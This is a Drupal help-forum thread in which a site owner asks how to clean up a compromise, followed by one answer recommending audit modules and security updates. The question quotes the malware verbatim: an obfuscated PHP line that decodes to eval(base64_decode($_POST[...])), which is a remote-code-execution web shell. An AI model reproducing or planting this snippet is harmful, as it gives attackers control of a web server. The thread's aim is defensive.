2

It looks like my Drupal site is hacked, I see lot of new files in my web-sever containing following code:

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n89024b'])) {eval($s21(${$s20}['n89024b']));}?>

This actually my test site it even protected with folder protection, but it's not taken down the site.

Now could you please help me what should I do? I've read some articles online they have suggested install some security plugins to protect the site, but since my site looks like compromised could you please help me to clean up the site and prevent in future?

| improve this question | |
  • Sorry but this is a massive topic without a single answer, you need someone experienced with Drupal and server administration to physically audit and secure your server. It's not something we can help with here, it's much too broad for Q+A. We hsve the duplicate as generic security-related suggestions, the specifics for your server will be different, so will need looking at properly by someone who knows what they're doing – Clive♦ Aug 2 '15 at 8:36
3

Your website is hacked indeed. Most probably you are missing security releases. I have seen this happening with others & this is what I recommended, which can help you too..

Have hacked module installed & check for the diff by help of that. Prepare list of module & update them along with drupal core (which is 7.38 now).

For PCB4B issue, clear those file by searching them. This article can help doing that.

Part from these, I will recommend two more module to have on your drupal instance & which can help you with cleaning it. They are - Site Audit & Security Review.

Further, keep notification on for security releases & always keep updating core or any contributed module for security release.

| improve this answer | |

Not the answer you're looking for? Browse other questions tagged or ask your own question.